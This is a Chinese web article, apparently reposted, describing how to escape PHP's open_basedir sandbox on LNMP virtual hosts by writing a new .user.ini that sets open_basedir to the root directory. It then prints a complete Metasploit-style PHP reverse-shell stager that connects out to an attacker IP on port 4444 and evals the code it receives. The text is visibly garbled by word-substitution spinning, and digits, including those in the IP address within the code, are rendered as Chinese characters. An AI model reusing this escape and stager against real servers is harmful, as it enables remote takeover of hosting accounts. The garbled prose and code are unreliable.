|
|
|
联系客服020-83701501

LNMP虚拟主机PHP沙盒逃逸

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
LNMP虚构主机PHP沙盒逃逸

并不单是针对Lnmp的沙盒逃逸,而是.user.ini的筹划误差达到绕过open_basedir限定,所所以通用的口头。首先来看看最新版LNMP是怎么样配置open_basedir的:

Default
一2345 open_basedir=/home/wwwroot/default:/tmp/:/proc/ lsattr .user.ini----i----------- .user.ini 

LNMP的open_basedir是颠末.user.ini来配置的。再来看disable_functions都禁用了哪些函数:

Default
一2 lnmp一.3/include/php.sh 

自动草稿

留心到了stream_socket_server被禁用了。这个是用来建树Socket服务真个,彻底或者操作其他可建树socket服务真个函数截止反弹个socket会话,譬喻socket_create、 fsockopen。不过虽是或者建树socket会话,但group为www,所以这个留在后背松散操作。

.user.ini是不允许增编削的,那怎么样能打破限定?.user.ini只在当前目录生效了。那末咱们可弗成以写入新的.user.ini而且不与原.user.ini申辩,将其open_basedir指向根目录?或者的。

首先建树一个目录并写入新的.user.ini。新的.user.ini必要一-3min来生效。

Default
一2 open_basedir=/ 

最后松散socket,操作msf在新目录生成个反向代理payload并稍加厘革便或者了。

Default
一234567八九一0一1一2一3一4一5一6一7一八一九202一2223242526272八2九303一3233343536373八3九404一4243444546474八4九 <?phperror_reporting(0); $ip = '一九2.一6八.一37.67';$port = 4444;$ipf = AF_INET;if (FALSE !== strpos($ip, ":")) { $ip = "[". $ip ."]"; $ipf = AF_INET6;}if (($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream';} elseif (($f = 'socket_create') && is_callable($f)) { $s = $f($ipf, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket';} else { die('no socket funcs');}if (!$s) { die('no socket');} switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break;} if (!$len) { die();} $a = unpack("Nlen", $len); $len = $a['len'];$b = '';while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; }}$GLOBALS['msgsock'] = $s;$GLOBALS['msgsock_type'] = $s_type;eval($b);die();?>

 

自动草稿

【via@CongRong】 注:本文系受权转载,未经受权,请勿转载本文。

数安新闻+更多

证书相关+更多